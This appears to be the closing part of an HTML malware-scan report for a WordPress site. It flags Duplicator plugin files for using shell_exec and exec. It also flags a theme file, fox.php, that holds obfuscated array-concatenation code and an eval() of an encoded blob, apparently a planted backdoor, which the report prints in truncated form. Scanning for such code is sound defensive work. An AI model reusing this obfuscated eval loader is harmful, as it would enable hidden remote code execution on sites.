class="text-primary">https://www.php.net/shell_exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$command</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$stderr </span><span style="color: #007700">!= </span><span style="color: #DD0000">''</span><span style="color: #007700">) { </span><span style="color: #0000BB">$errorMessage </span><span style="color: #007700">= </span><span style="color: #0000BB">DUP_U</span><span style="color: #007700">::</span><span style="color: #0000BB">__</span><span style="color: #007700">(</span><span style="color: #DD0000">"Error extracting </span><span style="color: #007700">{</span><span style="color: #0000BB">$archiveFilepath</span><span style="color: #007700">}</span><span style="color: #DD0000">): </span><span style="color: #007700">{</span><span style="color: #0000BB">$stderr</span><span style="color: #007700">}</span><span style="color: #DD0000">"</span><span style="color: #007700">); throw new </span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #0000BB">$errorMessage</span><span style="color: #007700">); } } else { </span><span style="color: #0000BB">$zipArchive </span><span style="color: #007700">= new </span><span style="color: #0000BB">ZipArchive</span><span style="color: #007700">(); </span><span style="color: #0000BB">$result </span><span style="color: #007700">= </span><span style="color: #0000BB">$zipArchive</span><span style="color: #007700">-></span><span style="color: #0000BB">open</span><span style="color: #007700">(</span><span style="color: #0000BB">$archiveFilepath</span><span style="color: #007700">); if(</span><span style="color: #0000BB">$result </span><span style="color: #007700">!== </span><span style="color: #0000BB">true</span><span style="color: #007700">) { throw new </span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"Error opening </span><span style="color: #007700">{</span><span style="color: #0000BB">$archiveFilepath</span><span style="color: #007700">}</span><span style="color: #DD0000"> when extracting. Error code: </span><span style="color: #007700">{</span><span style="color: #0000BB">$retVal</span><span style="color: #007700">}</span><span style="color: #DD0000">"</span><span style="color: #007700">); } </span><span style="color: #0000BB">$result </span><span style="color: #007700">= </span><span style="color: #0000BB">$zipArchive</span><span style="color: #007700">-></span><span style="color: #0000BB">extractTo</span><span style="color: #007700">(</span><span style="color: #0000BB">$destinationDirectory</span><span style="color: #007700">, </span><span style="color: #0000BB">$relativeFilesToExtract</span><span style="color: #007700">); if(</span><span style="color: #0000BB">$result </span><span style="color: #007700">=== </span><span style="color: #0000BB">false</span><span style="color: #007700">) { throw new </span><span style="color: #0000BB">Exception</span><span style="color: #007700">(</span><span style="color: #DD0000">"Error...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_17").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/classes/package/class.pack.database.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 27.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_18" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function shell_exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `shell_exec`</p><p><i>[<a href="https://www.php.net/shell_exec" target="_blank" class="text-primary">https://www.php.net/shell_exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">shell_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">); if (</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">$output</span><span style="color: #007700">) === </span><span style="color: #DD0000">'Warning: Using a password on the command line interface can be insecure.'</span><span style="color: #007700">) { </span><span style="color: #0000BB">$output </span><span style="color: #007700">= </span><span style="color: #DD0000">''</span><span style="color: #007700">; } </span><span style="color: #0000BB">$output </span><span style="color: #007700">= (</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$output</span><span style="color: #007700">)) ? </span><span style="color: #0000BB">$output </span><span style="color: #007700">: </span><span style="color: #DD0000">"Ran from </span><span style="color: #007700">{</span><span style="color: #0000BB">$exePath</span><span style="color: #007700">}</span><span style="color: #DD0000">"</span><span style="color: #007700">; </span><span style="color: #0000BB">$tblCreateCount </span><span style="color: #007700">= </span><span style="color: #0000BB">count</span><span style="color: #007700">(</span><span style="color: #0000BB">$tables</span><span style="color: #007700">); </span><span style="color: #0000BB">$tblFilterCount </span><span style="color: #007700">= </span><span style="color: #0000BB">$tblAllCount </span><span style="color: #007700">- </span><span style="color: #0000BB">$tblCreateCount</span><span style="color: #007700">; </span><span style="color: #0000BB">DUP_Log</span><span style="color: #007700">::</span><span style="color: #0000BB">Info</span><span style="color: #007700">(</span><span style="color: #DD0000">"FILTERED: [</span><span style="color: #007700">{</span><span style="color: #0000BB">$this</span><span style="color: #007700">-></span><span style="color: #0000BB">FilterTables</span><span style="color: #007700">}</span><span style="color: #DD0000">]"</span><span style="color: #007700">); </span><span style="color: #0000BB">DUP_Log</span><span style="color: #007700">::</span><span style="color: #0000BB">Info</span><span style="color: #007700">(</span><span style="color: #DD0000">"RESPONSE: </span><span style="color: #007700">{</span><span style="color: #0000BB">$output</span><span style="color: #007700">}</span><span style="color: #DD0000">"</span><span style="color: #007700">); </span><span style="color: #0000BB">DUP_Log</span><span style="color: #007700">::</span><span style="color: #0000BB">Info</span><span style="color: #007700">(</span><span style="color: #DD0000">"TABLES: total:</span><span style="color: #007700">{</span><span style="color: #0000BB">$tblAllCount</span><span style="color: #007700">}</span><span style="color: #DD0000"> | filtered:</span><span style="color: #007700">{</span><span style="color: #0000BB">$tblFilterCount</span><span style="color: #007700">}</span><span style="color: #DD0000"> | create:</span><span style="color: #007700">{</span><span style="color: #0000BB">$tblCreateCount</span><span style="color: #007700">}</span><span style="color: #DD0000">"</span><span style="color: #007700">); } </span><span style="color: #0000BB">$sql_footer </span><span style="color: #007700">= </span><span style="color: #DD0000">"\n\n/* Du...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_18").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/plugins/duplicator/classes/class.db.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 6.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2019-09-27 21:06:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_19" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">, </span><span style="color: #0000BB">$out</span><span style="color: #007700">, </span><span style="color: #0000BB">$rc</span><span style="color: #007700">); if (</span><span style="color: #0000BB">$rc </span><span style="color: #007700">=== </span><span style="color: #0000BB">0</span><span style="color: #007700">) { return </span><span style="color: #0000BB">$path</span><span style="color: #007700">; } } } return </span><span style="color: #0000BB">false</span><span style="color: #007700">; } public static function </span><span style="color: #0000BB">getTableCollationList</span><span style="color: #007700">(</span><span style="color: #0000BB">$excludeTables</span><span style="color: #007700">) { global </span><span style="color: #0000BB">$wpdb</span><span style="color: #007700">; </span><span style="color: #0000BB">$collations </span><span style="color: #007700">= array(); try { </span><span style="color: #0000BB">$query </span><span style="color: #007700">= </span><span style="color: #0000BB">$wpdb</span><span style="color: #007700">-></span><span style="color: #0000BB">get_results</span><span style="color: #007700">(</span><span style="color: #DD0000">"SHOW TABLE STATUS FROM `</span><span style="color: #007700">{</span><span style="color: #0000BB">$wpdb</span><span style="color: #007700">-></span><span style="color: #0000BB">dbname</span><span style="color: #007700">}</span><span style="color: #DD0000">`"</span><span style="color: #007700">); foreach(</span><span style="color: #0000BB">$query </span><span style="color: #007700">as </span><span style="color: #0000BB">$key </span><span style="color: #007700">=> </span><span style="color: #0000BB">$row</span><span style="color: #007700">) { if (! </span><span style="color: #0000BB">in_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$row</span><span style="color: #007700">-></span><span style="color: #0000BB">Name</span><span style="color: #007700">, </span><span style="color: #0000BB">$excludeTables</span><span style="color: #007700">)) { if (! empty(</span><span style="color: #0000BB">$row</span><span style="color: #007700">-></span><span style="color: #0000BB">Collation</span><span style="color: #007700">)) </span><span style="color: #0000BB">$collations</span><span style="color: #007700">[] = </span><span style="color: #0000BB">$row</span><span style="color: #007700">-></span><span style="color: #0000BB">Collation</span><span style="color: #007700">; } } </span><span style="color: #0000BB">$collations </span><span style="color: #007700">= </span><span style="color: #0000BB">array_unique</span><span style="color: #007700">(</span><span style="color: #0000BB">$collations</span><span style="color: #007700">, </span><span style="color: #0000BB">SORT_STRING</span><span style="color: #007700">); </span><span style="color: #0000BB">$collations </span><span style="color: #007700">= </span><span style="color: #0000BB">array_values</span><span style="color: #007700">(</span><span style="color: #0000BB">$collations</span><span style="color: #007700">); </span><span style="color: #0000BB">ret</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_19").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/likoholding/liko-holding.com.ua/wp-content/themes/html5blank-stable/tmp_files/fox.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 7.99 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2023-02-08 05:01:20</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2023-07-31 18:47:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span><br><table id="file_20" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit concat_vars_array <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Concatenation of arrays technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">43</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">52</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">4</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">8</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">19</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">47</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">21</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">15</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">34</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">34</span><span style="color: #007700">] . </span><span style="color: #DD0000">'(' </span><span style="color: #007700">. </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">57</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">13</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">34</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">15</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">40</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">41</span><span style="color: #007700">] . </span><span style="color: #DD0000">'_' </span><span style="color: #007700">. </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">6</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">15</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">2</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">3</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">6</span><span style="color: #007700">] . </span><span style="color: #0000BB">$qRccm</span><span style="color: #007700">[</span><span style="color: #0000BB">15</span><span style="color: #007700">] . </span><span style="color: #DD0000">'(\''</span><span style="color: #007700">; return </span><span style="color: #0000BB">$jV1Aq</span><span style="color: #007700">; }</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">CRgwR</span><span style="color: #007700">() . </span><span style="color: #DD0000">'eJy1eVcPxLjV3bO/X7ExFtjdjJFRL9jsg3oZ9S69GOpdo94M//fIa68NJAiQl1AYQbykLi8p8txzMHXxw8//rdiGdK2/w1/zs17W5eefqvyEknr46Zdf/vZff/qj9Yd/WX/+8XlY1vmXv/3wX3/604/DD7/98NS6/D8Nv/7esDx9f/vzn3/94Yffq/VvwGP/4V/lqOou//nH+n/+ODx+/lmeXn/6Mf7ht2VLHi9/ePvLj/VfoF9+/eE/5fd+6TPsGKftz38W//uf//Jj/M9B/1Q/83mG+g345W//DODH9Ne//96Sd0v+wz+N/+M/1h/r12/Q76/+Xp/zdZuHH37v9Q/rY/z7f/17Af56J93+849/jR2dT4hnhH89/Tvif9X/8nM9rL/8/Md6/QSDz0XAxLOev/z6//wS8HT/341QBqP/9vRHsP9y8Ovff/xrMIBo+dtPvwf60zMUVlxY+ttPSbzkGPLXLE+/Wf7T...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_20").DataTable();</script></td></tr></tbody></table>
</div>
<button onclick="scrollToTop()" id="back-top" class="bg-primary"><i class="fas fa-angle-up"></i></button>
</body>
</html>